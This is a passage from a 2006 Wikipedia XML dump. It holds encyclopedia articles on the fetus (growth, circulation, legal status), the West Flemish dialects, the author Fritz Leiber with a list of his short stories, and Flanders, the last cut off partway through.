      <comment>redirect to Fetus - an obscure industrial band doth not be a reason for a disambiguations making, thanks</comment>
      <text xml:space="preserve">#redirect [[Fetus]]</text>
    </revision>
  </page>
  <page>
    <title>Fetus</title>
    <id>10873</id>
    <revision>
      <id>41912428</id>
      <timestamp>2006-03-02T15:53:59Z</timestamp>
      <contributor>
        <ip>209.7.44.100</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Fetus.jpg|thumb|right|250px|Fetus at eight weeks]]

:''&quot;Foetus&quot; redirects here. For the musical group Foetus, see [[Foetus (band)]].''

A '''fetus''' is a developing [[mammal]] after the [[embryo|embryonic]] stage and before [[childbirth|birth]]. The plural is '''fetuses''' or very rarely, ''foeti''.

In humans, a fetus develops from the end of the 8th week of [[pregnancy]] (when the major structures have formed), until birth. ''Fetus'', in [[Latin]], literally means &quot;filled with young, pregnant, breeding, with young and/or a bringing forth, bearing, hatching, producing.&quot; When speaking in the most literal of terms, a fetus is an organism, as yet undeveloped, in the process of becoming a functional individual of a species.

==Fetal growth==
There is much natural variation in the growth of the fetus.
Approximately 52% of the variation in [[birth weight]] can be accounted for by [[genetics|genetic]] factors, whereas 48% can be accounted for by [[natural environment|environmental]] factors.
Ultimately, the offspring should be able to live up to its term growth potential.
Factors affecting fetal growth can be ''maternal'', ''[[placenta]]l'', or ''fetal''.

'''Maternal''' factors include maternal size, [[weight]], [[weight for height]], [[nutritional state]], [[anemia]], [[cigarette smoking]], [[substance abuse]], or [[uterine blood flow]].

'''Placental''' factors include size, microstructure (densities and architecture), [[umbilical blood flow]], transporters and binding proteins, nutrient utilization and nutrient production.

'''Fetal''' factors include the fetus genome, nutrient production, and [[hormone]] output.

Inappropriate growth can result in low birth weight.
If the [[newborn]] is ''[[small for gestational age]]'', he or she will have an increased risk for perinatal mortality ([[death]] shortly after birth), [[asphyxia]], [[hypothermia]], [[polycythemia]], [[hypocalcemia]], [[immune dysfunction]], [[neurologic]] abnormalities, and other long-term health problems. This can be the result of [[fetal growth restriction]].

==Circulatory system==
The [[circulatory system]] of a human fetus works differently from that of born humans, mainly because the lungs are not in use: the fetus obtains [[oxygen]] and nutrients from the mother through the [[placenta]] and the [[umbilical cord]].

Blood from the placenta is carried by the [[umbilical vein]]. About half of this enters the ''[[ductus venosus]]'' and is carried to the [[inferior vena cava]], while the other half enters the [[liver]] proper from the inferior border of the liver. The branch of the umbilical vein that supplies the right lobe of the liver first joins with the [[portal vein]]. The blood then moves to the right atrium of the [[heart]]. In the fetus, there is an opening between the right and left atrium (the ''[[foramen ovale (heart)|foramen ovale]]''), and most of the blood flows from the right into the left atrium, then into the left ventricle from where it is pumped through the [[aorta]] into the body. Some of the blood moves from the aorta through the internal iliac arteries to the placental arteries, and re-enters the placenta, where [[carbon dioxide]] and other waste products from the fetus are taken up and enter the mother's circulation.

Some of the blood from the right atrium does not enter the left atrium, but enters the right ventricle and is pumped into the [[pulmonary artery]]. In the fetus, there is a special connection between the pulmonary artery and the aorta, called the ''[[ductus arteriosus]]'', which directs most of this blood away from the lungs (which aren't being used for respiration at this point as the fetus is suspended in amniotic fluid).

===Postnatal development===
''See'' [[Adaptation to extrauterine life]] ''for more details''

With the first breath after birth, the system changes suddenly. The pulmonary resistance is dramatically reduced.  More blood moves from the right atrium to the right ventricle and into the pulmonary arteries, and less flows through the ''[[foramen ovale (heart)|foramen ovale]]'' to the left atrium. The blood from the lungs travels through the pulmonary veins to the left atrium, increasing the pressure there. The decreased right atrial pressure and the increased left atrial pressure pushes the ''septum primum'' against the ''septum secundum'', closing the ''foramen ovale'', which now becomes the ''fosse ovalis''.  This completes the separation of the circulatory system into two halves, the left and the right.

The ''ductus arteriosus'' normally closes off within one or two days of birth, leaving behind the ligamentum arteriosum. The umbilical vein and the ductus venosus closes off within two to five days after birth, leaving behind the ''[[ligamentum teres]]'' and the ''[[ligamentum venosus]]'' of the liver respectively.

===Developmental problems===
Infants with certain congenital anomalies of the heart can survive only as long as the ductus remains open: in such cases the closure of the ductus can be delayed by the administration of [[prostaglandin]]s to permit sufficient time for the surgical correction of the anomalies.  Conversely, in cases of [[patent ductus arteriosus]], where the ductus does not properly close, drugs that inhibit prostaglandin synthesis can be used to encourage its closure, so that surgery can be avoided. 

===Differences to the adult circulatory system===
Remnants of the fetal circulation can be found in adults:
*The fetal ''foramen ovale'' becomes the adult ''fosse ovalis''.
*The fetal ''ductus arteriosus'' becomes the adult ''ligamentum arteriosum''.
*The extra-hepatic portion of the fetal left umbilical vein becomes the adult ''[[ligamentum teres hepatis]]'' (the &quot;round ligament of the liver&quot;).
*The intra-hepatic portion of the fetal left umbilical vein (the ''ductus venosus'') becomes the adult ''[[ligamentum venosum]]''.
*The proximal portions of the fetal left and right umbilical arteries become the adult umbilical branches of the internal iliac arteries.
*The distal portions of the fetal left and right umbilical arteries become the adult medial umbilical ligaments.

In addition to differences in circulation, the developing fetus also employs a different type of oxygen [[transport protein|transport molecule]] than adults (adults use [[hemoglobin|adult hemoglobin]]). [[Fetal hemoglobin]] enhances the fetus' ability to draw oxygen from the placenta. Its association curve to oxygen is shifted to the right, meaning that it will take up oxygen at a lower concentration than adult hemoglobion will. This enables fetal hemoglobin to absorb oxygen from adult hemoglobin in the placenta, which has a lower pressure of oxygen than at the lungs.

==Legal issues==

===USA===
Since the 1970s in the [[United States]], there has been continuing debate over the &quot;[[fetal personhood|personhood]]&quot; of the fetus before birth, generally in the context of the argument over [[abortion]], which is currently legal in the United States following the case of ''[[Roe v. Wade]]''.

According to legislation which passed the [[United States Senate|US Senate]] in March 2004, an '''unborn child''' is defined as &quot;a member of the species ''[[Homo sapiens]]'', at any stage of development, who is carried in the [[womb]] and who is injured or killed during the commission of a federal crime of violence..&quot;. ([http://www.nrlc.org/Unborn_Victims/Key%20Facts%20on%20Unborn%20Victims%20of%20Violence%20Act.pdf Unborn Victims of Violence Act, April 2004])

==Etymology and spelling variations==
The word ''fetus'' originates from the [[Latin]] ''fetus'' meaning &quot;offspring,&quot; &quot;act of bearing young,&quot; or &quot;is or was filled with young&quot;. ''Foetus'' is an English variation on this rather than a Latin or Greek word, but has been in use since at least [[1594]] according to the [[Oxford English Dictionary|OED]], which describes fetus as etymologically preferable but almost unknown in actual use. In general, the medical community only permits the spelling ''fetus'' (preferred by the [[British Medical Journal]], for example), but the spelling ''foetus'' persists in general use, especially in Britain.

==See also==
{{commons|Fetus}}
* [[Fetal development]]
* [[Pregnancy]]
* [[Child]]
* [[Superfetation]]
* [[Neural development]]
* [[Fetoscopy]]
* [[Fetal position]]
* [[Abortion]]

[[Category:Developmental biology]]

[[cs:Fétus]]
[[da:Foster]]
[[de:Fetus]]
[[es:Feto]]
[[eo:Feto]]
[[fr:Fœtus]]
[[it:Feto]]
[[he:עובר]]
[[nl:Foetus]]
[[ja:胎児]]
[[no:Foster]]
[[pl:Płód]]
[[pt:Feto]]
[[ru:Плод (анатомия)]]
[[simple:Fetus]]
[[su:Fétus]]
[[fi:Sikiö]]
[[sv:Foster]]</text>
    </revision>
  </page>
  <page>
    <title>West Flemish</title>
    <id>10874</id>
    <revision>
      <id>36842757</id>
      <timestamp>2006-01-26T21:09:41Z</timestamp>
      <contributor>
        <username>Sandertje</username>
        <id>539414</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''West Flemish''' (in West Flemish, ''Vlaemsch'') is a group of dialects, spoken in parts of the [[Netherlands]], [[Belgium]], and [[France]].

There is a [[dialect continuum]] between West Flemish and some neighbouring [[Dutch (language)|Dutch]] (Flemish) dialects, being called ''[[East Flemish]]'', and many linguists still consider West Flemish a Dutch dialect. The main reason to set it apart is that West Flemish almost totally remained outside the main stream of Dutch regional languages and did not join the central Brabantic innovations at all. This gives West Flemish a somewhat strange character.

West Flemish is spoken by around 1.05 million people in [[West Flanders]] (in Belgium), 90,000 in the neighbouring [[Netherlands|Dutch]] coastal district of [[Zeeuws-Vlaanderen]], and 20,000 in the northern part of the [[France|French]] ''[[département in France|département]]'' of [[Nord]] where it is classified as one of the [[Languages of France]].

The dialects of the Dutch province of [[Zeeland]], [[Zealandic]], are sometimes also classified under ''West Flemish'', but are so much more like [[Hollandic]] Dutch that this is disputed. The dialects of Zeeuws-Vlaanderen however ''do'' count as West Flemish variants, as is stated above. In fact, both [[regional language]]s are linked by a [[dialect continuum]], which proceeds further north into Hollandic.

== See also ==

* [[Flemish dialects]]

== External links ==

* [http://www.ethnologue.com/show_language.asp?code=VLA Ethnologue report for West Flemish]
* [http://www.uoc.es/euromosaic/web/document/neerlandes/an/i1/i1.html Euromosaic report on West Flemish and Dutch in France]

[[Category:Low Germanic languages]]
[[Category:Languages of France]]
[[Category:Languages of Belgium]]
[[Category:Flanders]]

[[de:Westflämische Dialektgruppe]]
[[fr:Flamand occidental]]
[[nds:West-Vlaams]]
[[nl:West-Vlaams]]</text>
    </revision>
  </page>
  <page>
    <title>Fritz Leiber</title>
    <id>10875</id>
    <revision>
      <id>38893468</id>
      <timestamp>2006-02-09T08:36:58Z</timestamp>
      <contributor>
        <username>Bangers</username>
        <id>184268</id>
      </contributor>
      <minor />
      <comment>Added link to oprhan</comment>
      <text xml:space="preserve">'''Fritz Reuter Leiber Jr.''' ([[December 24]], [[1910]] - [[September 5]], [[1992]]) was an influential [[United States|American]] writer of [[fantasy fiction|fantasy]], [[horror fiction|horror]] and [[science fiction]].

His popularity amongst both fans and his fellow writers was considerable, and his science fiction [[novel]]s ''[[The Big Time]]'' ([[1958]]) and ''[[The Wanderer (Fritz Leiber novel)|The Wanderer]]'' ([[1965]]) and the short stories &quot;[[Gonna Roll the Bones]]&quot; ([[1967]]), about a [[gambler]] playing [[dice]] with [[Death (personification)|Death]], and &quot;Ship of Shadows&quot; ([[1970]]) all won [[Hugo award]]s (&quot;Bones&quot; won a [[Nebula award]] too).

As the child of two [[William Shakespeare|Shakespeare]]an [[actor]]s, Fritz Sr. (see below) and Virginia (n&amp;#233;e Bronson), Leiber was fascinated with the [[theater|stage]] and  described itinerant Shakespearean companies in stories like &quot;No Great Magic&quot; and &quot;Four Ghosts in Hamlet&quot;, and created an actor/producer protagonist for the novel ''[[A Specter is Haunting Texas]]''. An interesting feature of ''The Big Time'' is that though it is about a [[war]] between two factions changing and rechanging history throughout the Universe, all the action takes place in a small bubble of isolated [[space-time]], about the size of a theatrical stage, with only a handful of characters.

Many of Leiber's best works are short stories, especially [[horror fiction|horror]]. In such stories as &quot;The Girl With the Hungry Eyes&quot;, and &quot;You're All Alone&quot; (AKA &quot;The Sinful Ones&quot;), he is widely regarded as one of the forerunners of the modern urban horror story. In his later years, Leiber returned to short story horror in such works as &quot;Horrible Imaginings&quot;, &quot;Black Has Its Charms&quot;, and the award-winning &quot;The Button Moulder&quot;.

Among his most famous works are the ''[[Fafhrd and the Gray Mouser]]'' stories, written over a span of 50 years. The first of these, &quot;Two Sought Adventure&quot;, appeared in ''[[Unknown magazine|Unknown]]'' in [[1939]]. They are concerned with an unlikely pair of heroes, Fafhrd and the Gray Mouser, who are found in and around the fascinating city of [[Lankhmar]], a fertile hunting ground. (Fafhrd was based on Leiber himself and the Mouser on his friend Harry Fischer.) These stories were, in fact, the progenitors of many of the [[trope]]s of the [[sword and sorcery]] genre. They are also unique among sword and sorcery stories in that, over the course of the stories, his two heroes mature, take on more responsibilities, and eventually settle down into marriage. It has been noted that [[Terry Pratchett]]'s city of [[Ankh-Morpork]] bears more than a passing resemblance to Lankhmar (wittily acknowledged by Pratchett by the placing of the swordsman-thief &quot;The Brown Weasel&quot; and his giant barbarian comrade in the opening scenes of the first [[Discworld]] novel).

Leiber married Jonquil Stephens on [[January 16]], [[1936]], and their son [[Justin Fritz Leiber]] was born in [[1938]]. Jonquil's death in [[1969]] precipitated a three year bout of [[alcoholism]], but he then returned to his original form with a fantasy novel set in modern-day [[San Francisco]], ''Our Lady of Darkness'' - serialised in the [[Magazine of Fantasy and Science Fiction]] as &quot;The Pale Brown Thing&quot; ([[1977]]) - in which cities were the breeding grounds for new types of [[elemental]]s called paramentals, summonable by the dark art of [[megapolisomancy]]. The short [[parallel world]]s story &quot;Catch that Zeppelin!&quot; (1975) added yet another Nebula and Hugo award to his collection.

Leiber was heavily influenced by [[H.P. Lovecraft]] and [[Robert Graves]] in the first two decades of his career. From the late Fifties onwards, he was increasingly influenced by the works of [[Carl Jung]], particularly by the concepts of the [[anima (Jung)| anima]] and the [[shadow (psychology)|shadow]]. Often, these concepts are mentioned openly in his stories, especially the anima, which becomes a method of exploring his fascination but estrangement from the female.

In the last years of his life, Leiber married his second wife, Margo Skinner, a journalist and poet with whom he had been friends for many years. Many people believed that Leiber was living in poverty on skid row, but the truth of the matter was that Leiber preferred to live simply in the city, spending his money on dining, movies and travel. In the last years of his life, royalty cheques from TSR, the makers of Dungeons and Dragons, who had licensed the mythos of the Fafhrd and Gray Mouser series, were enough in themselves to ensure that he lived comfortably.

Leiber's death occurred a few weeks after a physical collapse while travelling from a science-fiction convention in Toronto with Skinner. The cause of his death was given as &quot;senile decay.&quot;

Fans awarded him the [[Gandalf Award|Gandalf]] (Grand Master) award at the [[Worldcon|World Science Fiction Convention]] in [[1975]], and in [[1981]] the [[Science Fiction and Fantasy Writers of America]] voted him the recipient of their Grand Master award.

He  was also a member of the [[Swordsmen and Sorcerers' Guild of America (SAGA)]], a loose-knit group of [[Heroic fantasy|Heroic Fantasy]] authors founded in the 1960s, some of whose works were anthologized in [[Lin Carter|Lin Carter's]] ''[[Flashing Swords!]]'' anthologies.

He wrote a short [[autobiography]], which can be found in the collection ''The Ghost Light'' ([[1984]]). A critical biography, &quot;Witches of the Mind&quot; by Bruce Byfield, is available from Necronomicon Press, and an essay examining his literary relationship with Lovecraft appears in [[S. T. Joshi]]'s ''The Evolution of the Weird Tale'' (2004). Leiber's own literary criticism, including several ground-breaking essays on Lovecraft, was collected in the volume ''Fafhrd and Me'' (1990), published by Wildside Press.

He also acted in a few [[film]]s, once with his father in [[RKO]]'s ''The Hunchback of Notre Dame'' ([[1939]]).

==Other notable works==
* ''The Green Millennium''
* ''[[Conjure Wife]]'' - This novel relates a college professor's discovery that his wife (and all other women) are regularly using [[magic (paranormal)|magic]] against one another and their husbands. It was filmed three times: 
** ''Weird Woman'' ([[1944]])
** ''Burn Witch, Burn'' (aka ''Night of the Eagle'') ([[1962]])
** ''Witches' Brew'' (aka ''Which Witch is Which?'') ([[1980]])
* ''[[Gather, Darkness!]]''
* ''The Dealings of Daniel Kesserich''
* ''[[Our Lady of Darkness]]''

==List of short stories==
;1939
:&quot;The Jewels in the Forest&quot;
:&quot;Two Sought Adventure&quot;
;1940
:&quot;The Automatic Pistol&quot;
:&quot;The Bleak Shore&quot;
;1941
:&quot;The Howling Tower&quot;
:&quot;The Power of the Puppets&quot;
:&quot;Smoke Ghost&quot;
:&quot;They Never Come Back&quot;
;1942
:&quot;The Hill and the Hole&quot;
:&quot;The Hound&quot;
:&quot;The Inheritance&quot;
:&quot;The Phantom Slayer&quot;
:&quot;Power of the Puppets&quot;
:&quot;Spider Mansion&quot;
:&quot;The Sunken Land&quot;
;1943
:&quot;Conjure Wife&quot;
:&quot;The Mutant's Brother&quot;
:&quot;Thieves' House&quot;
:&quot;To Make a Roman Holiday&quot;
;1944
:&quot;Business of Killing&quot;
:&quot;Crazy Wolf&quot;
:&quot;Sanity&quot;
:&quot;Taboo&quot;
:&quot;Thought&quot;
;1945
:&quot;Destiny Times Three&quot;
:&quot;The Dreams of Albert Moreland&quot;
:&quot;Wanted - An Enemy&quot;
;1946
:&quot;Alice and the Allergy&quot;
:&quot;Mr. Bauer and the Atoms&quot;
;1947
:&quot;Adept's Gambit&quot;
:&quot;The Diary in the Snow&quot;
:&quot;Diary in the Snow&quot;
:&quot;The Man Who Never Grew Young&quot;
;1949
:&quot;The Girl with the Hungry Eyes&quot;
:&quot;In the X-Ray&quot;
;1950
:&quot;The Black Ewe&quot;
:&quot;Coming Attraction&quot;
:&quot;The Dead Man&quot;
:&quot;The Enchanted Forest&quot;
:&quot;Later Than You Think&quot;
:&quot;Let Freedom Ring&quot;
:&quot;The Lion and the Lamb&quot;
:&quot;Martians, Keep Out!&quot;
:&quot;The Ship Sails at Midnight&quot;
:&quot;The Wolf Pack&quot;
:&quot;You're All Alone&quot;
;1951
:&quot;Appointment in Tomorrow&quot;
:&quot;Claws from the Night&quot;
:&quot;Cry Witch!&quot;
:&quot;Dark Vengeance&quot;
:&quot;Nice Girl with Five Husbands&quot;
:&quot;A Pail of Air&quot;
:&quot;Poor Superman&quot;
:&quot;When the Last Gods Die&quot;
;1952
:&quot;Dr. Kometevsky's Day&quot;
:&quot;The Foxholes of Mars&quot;
:&quot;I'm Looking for &quot;Jeff&quot;&quot;
:&quot;The Moon Is Green&quot;
:&quot;Yesterday House&quot;
;1953
:&quot;A Bad Day for Sales&quot;
:&quot;The Big Holiday&quot;
:&quot;The Night He Cried&quot;
:&quot;The Seven Black Priests&quot;
;1954
:&quot;The Silence Game&quot;
;1957
:&quot;The Big Trek&quot;
:&quot;Femmequin 973&quot;
:&quot;Friends and Enemies&quot;
:&quot;Last&quot;
:&quot;Time Fighter&quot;
:&quot;Time in the Round&quot;
:&quot;What's He Doing in There?&quot;
;1958
:&quot;Bread Overhead&quot;
:&quot;Bullet With His Name&quot;
:&quot;A Deskful of Girls&quot;
:&quot;The Last Letter&quot;
:&quot;Little Old Miss Macbeth&quot;
:&quot;The Number of the Beast&quot;
:&quot;Rump-Titty-Titty-Tum-TAH-Tee&quot;
:&quot;Space-Time for Springers&quot;
:&quot;Try and Change the Past&quot;
;1959
:&quot;Damnation Morning&quot;
:&quot;The Haunted Future&quot;
:&quot;The Improper Authorities&quot;
:&quot;Lean Times in Lankhmar&quot;
:&quot;The Mind Spider&quot;
:&quot;Our Saucer Vacation&quot;
:&quot;Pipe Dream&quot;
:&quot;The Reward&quot;
:&quot;Schizo Jimmie&quot;
:&quot;The Silver Eggheads&quot;
;1960
:&quot;All the Weed in the World&quot;
:&quot;Deadly Moon&quot;
:&quot;Mariana&quot;
:&quot;The Night of the Long Knives&quot;
:&quot;The Oldest Soldier&quot;
:&quot;When the Sea-King's Away&quot;
:&quot;The Wolf Pair&quot;
;1961
:&quot;The Beat Cluster&quot;
:&quot;The Goggles of Dr. Dragonet&quot;
:&quot;Hatchery of Dreams&quot;
:&quot;Kreativity for Kats&quot;
:&quot;Scream Wolf&quot;
:&quot;Scylla's Daughter&quot;
;1962
:&quot;The 64-Square Madhouse&quot;
:&quot;Be of Good Cheer&quot;
:&quot;The Big Engine&quot;
:&quot;A Bit of the Dark World&quot;
:&quot;The Creature from Cleveland Depths&quot;
:&quot;The Lone Wolf&quot;
:&quot;The Man Who Made Friends with Electricity&quot;
:&quot;Myths My Great-Granddaughter Taught Me&quot;
:&quot;The Secret Songs&quot;
:&quot;The Snowbank Orbit&quot;
:&quot;The Thirteenth Step&quot;
:&quot;The Unholy Grail&quot;
;1963
:&quot;237 Talking Statues, Etc.&quot;
:&quot;Bazaar of the Bizarre&quot;
:&quot;The Casket-Demon&quot;
:&quot;The Cloud of Hate&quot;
:&quot;Dr. Adams' Garden of Evil&quot;
:&quot;Game for Motel Room&quot;
:&quot;A Hitch in Space&quot;
:&quot;Kindergarten&quot;
:&quot;No Great Magic&quot;
:&quot;The Spider&quot;
:&quot;Success&quot;
:&quot;X Marks the Pedwalk&quot;
;1964
:&quot;The Black Gondolier&quot;
:&quot;Four Ghosts in Hamlet&quot;
:&quot;Lie Still, Snow White&quot;
:&quot;Midnight in the Mirror World&quot;
:&quot;When the Change-Winds Blow&quot;
;1965
:&quot;Cyclops&quot;
:&quot;Far Reach to Cygnus&quot;
:&quot;The Good New Days&quot;
:&quot;Knight to Move&quot;
:&quot;Moon Duel&quot;
:&quot;Stardock&quot;
;1966
:&quot;The Crystal Prison&quot;
:&quot;Sunk Without Trace&quot;
:&quot;To Arkham and the Stars&quot;
;1967
:&quot;Answering Service&quot;
:&quot;Black Corridor&quot;
:&quot;Gonna Roll The Bones&quot;
:&quot;The Inner Circles&quot;
:&quot;The Winter Flies&quot;
;1968
:&quot;Crazy Annaoj&quot;
:&quot;In the Witch's Tent&quot;
:&quot;One Station of the Way&quot;
:&quot;The Square Root of Brain&quot;
:&quot;Their Mistress, the Sea&quot;
:&quot;The Turned-off Heads&quot;
:&quot;The Two Best Thieves in Lankhmar&quot;
:&quot;When Brahma Wakes&quot;
:&quot;The Wrong Branch&quot;
;1969
:&quot;Endfray of the Ofay&quot;
:&quot;Richmond, Late September, 1849&quot;
:&quot;Ship of Shadows&quot;
:&quot;When They Openly Walk&quot;
;1970
:&quot;America the Beautiful&quot;
:&quot;The Circle Curse&quot;
:&quot;Ill Met in Lankhmar&quot;
:&quot;The Price of Pain-Ease&quot;
:&quot;The Snow Women&quot;
;1971
:&quot;Gold, Black, and Silver&quot;
;1972
:&quot;Another Cask of Wine&quot;
:&quot;The Bump&quot;
:&quot;Day Dark, Night Bright&quot;
:&quot;The Lotus Eaters&quot;
;1973
:&quot;The Bait&quot;
:&quot;Cat Three&quot;
:&quot;The Sadness of the Executioner&quot;
:&quot;Trapped in the Shadowland&quot;
;1974
:&quot;Beauty and the Beasts&quot;
:&quot;Cat's Cradle&quot;
:&quot;Do You Know Dave Wenzel?&quot;
:&quot;Midnight by the Morphy Watch&quot;
:&quot;Mysterious Doings in the Metropolitan Museum&quot;
:&quot;Waif&quot;
;1975
:&quot;Belsen Express&quot;
:&quot;Catch That Zeppelin!&quot;
:&quot;The Glove&quot;
:&quot;Night Passage&quot;
:&quot;Trapped in the Sea of Stars&quot;
:&quot;Under the Thumbs of the Gods&quot;
;1976
:&quot;Dark Wings&quot;
:&quot;The Death of Princes&quot;
:&quot;The Eeriest Ruined Dawn World&quot;
:&quot;The Frost Monstreme&quot;
:&quot;The Terror from the Depths&quot;
;1977
:&quot;The Princess in the Tower 250,000 Miles High&quot;
:&quot;A Rite of Spring&quot;
:&quot;Sea Magic&quot;
;1978
:&quot;Black Glass&quot;
:&quot;The Mer She&quot;
;1979
:&quot;The Button Molder&quot;
:&quot;The Man Who Was Married to Space and Time&quot;
;1981
:&quot;The Great San Francisco Glacier&quot;
;1982
:&quot;Horrible Imaginings&quot;
:&quot;The Moon Porthole&quot;
;1983
:&quot;The Cat Hotel&quot;
:&quot;The Curse of the Smalls and the Stars&quot;
;1984
:&quot;Black Has Its Charms&quot;
:&quot;The Ghost Light&quot;

==Trivia==
*''The Big Time'' contains an apparent numerical typo; in one chapter-head quotation it is stated that 100,000 metres equals 5.6 miles. Not one American or British editor has ever corrected this.

*Leiber is often mispronounced as &quot;Leeber&quot;; the correct pronunciation is &quot;Lyber&quot;.

==External links==
{{wikiquote}}
*[http://www.lankhmar.demon.co.uk/ Lankhmar - The Fritz Leiber Home Page]
* {{isfdb name|id=Fritz_Leiber|name=Fritz Leiber}}
&lt;br clear=all&gt;
----

'''Fritz Reuter Leiber Sr.''' ([[January 31]], [[1882]] - [[October 14]], [[1949]]), was an American actor, father of the author.

Leiber Sr. was a noted Shakespearean actor on stage and also in [[Hollywood]] from [[1916]] to his death.

[[Category:1910 births|Leiber, Fritz]]
[[Category:1992 deaths|Leiber, Fritz]]
[[Category:American fantasy writers|Leiber, Fritz]]
[[Category:American science fiction writers|Leiber, Fritz]]
[[Category:American horror writers|Leiber, Fritz]]
[[Category:California writers|Leiber, Fritz]]
[[Category:Hugo Award winning authors|Leiber, Fritz]]
[[Category:Nebula Grand Masters|Leiber]]

[[bg:Фриц Лейбър]]
[[et:Fritz Leiber]]
[[fr:Fritz Leiber]]
[[nl:Fritz Leiber (schrijver)]]
[[ja:フリッツ・ライバー]]
[[pl:Fritz Leiber]]
[[ru:Лейбер, Фриц]]
[[sv:Fritz Leiber]]</text>
    </revision>
  </page>
  <page>
    <title>Fantasy fiction</title>
    <id>10876</id>
    <revision>
      <id>34787407</id>
      <timestamp>2006-01-11T19:13:56Z</timestamp>
      <contributor>
        <username>BPK2</username>
        <id>476225</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT: [[Fantasy]]</text>
    </revision>
  </page>
  <page>
    <title>Flanders</title>
    <id>10878</id>
    <revision>
      <id>41839083</id>
      <timestamp>2006-03-02T01:59:05Z</timestamp>
      <contributor>
        <username>OrphanBot</username>
        <id>621721</id>
      </contributor>
      <comment>Removing image with no copyright information.  Such images that are older than seven days may be deleted at any time.</comment>
      <text xml:space="preserve">{{Otheruses4|1=the [[Belgium|Belgian]] region Flanders and the eponymous historical region of the [[Low Countries]].|2=other uses|3=Flanders (disambiguation)}}

{| class=&quot;infobox bordered&quot; cellpadding=&quot;4&quot; style=&quot;width: 20em; font-size: 95%;&quot;
|+ style=&quot;margin-left: inherit; font-size: medium;&quot; | '''Vlaanderen'''
|- 
| align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:Vlagvlaanderengroot.png|150px]]
|-
| align=&quot;center&quot; style=&quot;background:#ffffff; border: none;&quot; | [[Image:Vlaams GewestLocatie.png|135px]]&lt;br /&gt;&lt;small&gt;[[Flemish Region|The Flemish Region]]&lt;/small&gt;
| align=&quot;center&quot; style=&quot;background:#ffffff; border: none;&quot; | [[Image:Vlaamse GemeenschapLocatie.png|135px]]&lt;br /&gt;&lt;small&gt;[[Flemish Community|The Flemish Community]]&lt;/small&gt;
|-
| [[Official language]]
| [[Dutch language|Dutch]]
|-
| [[Capital]]
| [[Brussels]]
|-
| [[List of Minister-Presidents of Flanders|Minister-President]]
| [[Yves Leterme]]
|-
| [[Area]]&lt;br/&gt;&amp;nbsp;– Total
| &lt;br /&gt;13,522 km²
|-
| [[Population]]&lt;br /&gt;&amp;nbsp;– In Flemish region &lt;br /&gt; &amp;nbsp;– in Brussels region
| &lt;br /&gt;6,043,161 ([[2005]]) &lt;br /&gt;  ca. 200,000 &lt;br /&gt; 442/km²
|-
| [[National anthem|Regional anthem]]
| [[De Vlaamse Leeuw]]
|}

'''Flanders (Flemish, Fleming)''' ([[Dutch language|Dutch]]: ''Vlaanderen (Vlaams, Vlaming)'') has two main designations:
* a geographical region in the north of Belgium, corresponding to the [[Flemish Region]], a consituent part of the federal Belgian state.
* a constituent community of the federal Belgian state through its social and political organizations, and through the institutions of the [[Flemish Community]] (with its own [[government|Flemish government]] and [[Parliament|Flemish parliament]]) and the [[Flemish Region]];

The precise geographical area denominated by Flanders has changed a great deal over the centuries.  

In the [[Middle Ages]], the term Flanders was applied to an area in western [[Europe]], the [[County of Flanders]], spread over:
* a part of what is now the [[Nord]] ''[[département in France|département]]'' ([[Nord-Pas de Calais]]), in north-eastern [[France]], sometimes called [[French Flanders]]
* the area that is now approximately the Flemish provinces of [[East Flanders]] and [[West Flanders]]
* a part of what is now [[Zeeland]] in south-western [[Netherlands]], called [[Zeeuws-Vlaanderen]].

The significance of the County and its [[Count of Flanders|counts]] eroded through time, but the designation remained in a very broad sense.  In the [[Early Modern]], the term Flanders was associated to the southern part of the Low Countries, the [[Southern Netherlands]].  The term Walloon Flanders corresponds to the French-speaking Flemish region around [[Mons]].  In [[history of art]], the adjectives Flemish, Dutch and Netherlandish are commonly used to designate all the artistic production in this region.  For examples, ''Flemish Primitives'' is synonym for ''[[early Netherlandish painting]]'', ''Franco-Flemish School'' for ''[[Dutch School (music)|Dutch School]]'', and it is not uncommon to see [[Mosan art]] categorized as Flemish art. 

==Flanders in Belgium==
Sometime in the [[19th century]] it became commonplace to call the area now known as Flanders, from [[Maasmechelen]] to [[De Panne]] as &quot;Flanders&quot;, including parts of the [[Duchy of Brabant]] and the [[Bishopric of Liège]] ([[Belgian Limburg]]). This usage started to find its modern usage in a &quot;disambiguation&quot; of the northern part of Belgium (''la partie septentrionale''), from [[1831]], the establishment of the Belgian monarchy, on.

At this time, for most, the term Flanders is normally taken to refer to either the political, social, cultural and linguistic community (and the corresponding official institution, the [[Flemish Community]]), or the geographical area, one of the three regions in Belgium, namely the [[Flemish Region]].

===Institutional Flanders===
Both the [[Flemish Community]] as the [[Flemish region]] are federal units of the Kingdom of Belgium. Institutionally, it is the [[Flemish Community|Community]]+[[Flemish Region|Region]] has its own parliament and government, whereas the region has nearly no proper institutions any more, as it was absorbed by the community.

The area of the Flemish Community is represented on the maps above plus the area of the Brussels region (seen as a white hole on the same map).  Roughly, the Flemish Community is responsible for all cultural issues as education, culture, language, sports, ...

The area of the Flemish region is represented on the maps above. The Flemish Region has a population of around 6 million (excluding the Dutch-speaking community in the [[Brussels Capital region]], which is not a part of the Flemish region).  Roughly, the Flemish Region is responsible for all economic issues.  

The number of Dutch-speaking [[Flemings]] in [[Brussels]] (region) is estimated to be between 7.5% and 15% (official figures do not exist as there is no language census and no official subnationality). They are under the rule of the Brussels Region for economics affairs and under the rule of the Flemish Community for educational and cultural issues.

As of [[2005]], the Flemish institutions as its government, parliament, etc. represent the Flemish Community and the Flemish region. The region and the community thus de facto share the same parliament and the same government. All these institutions are based in Brussels.  Nevertheless, both bodies (the community and the region) are still existing and the distinction between both is important for the people living in Brussels. Members of the flemish parliament who were elected in Brussels region cannot vote on flemish regional affairs.

The [[official language]] for all Flemish institutions is [[Dutch language|Dutch]]. French enjoys a limited official recognition in a few municipalities along the border with French-speaking [[Wallonia]] and the bilingual Brussels Region.

[[Image:FlandersProvinces.png|right|Provinces of Flanders]]
The Flemish Region covers 13,522 km² and contains over 300 municipalities.
It is divided into 5 [[communities, regions and provinces of Belgium|province]]s:
# [[Antwerp (province)|Antwerp]]  (''Antwerpen'')
# [[Limburg (Belgium)|Limburg]]  (''Limburg'')
# [[East Flanders]]  (''Oost-Vlaanderen'')
# [[Flemish Brabant]]  (''Vlaams-Brabant'')
# [[West Flanders]]   (''West-Vlaanderen'')

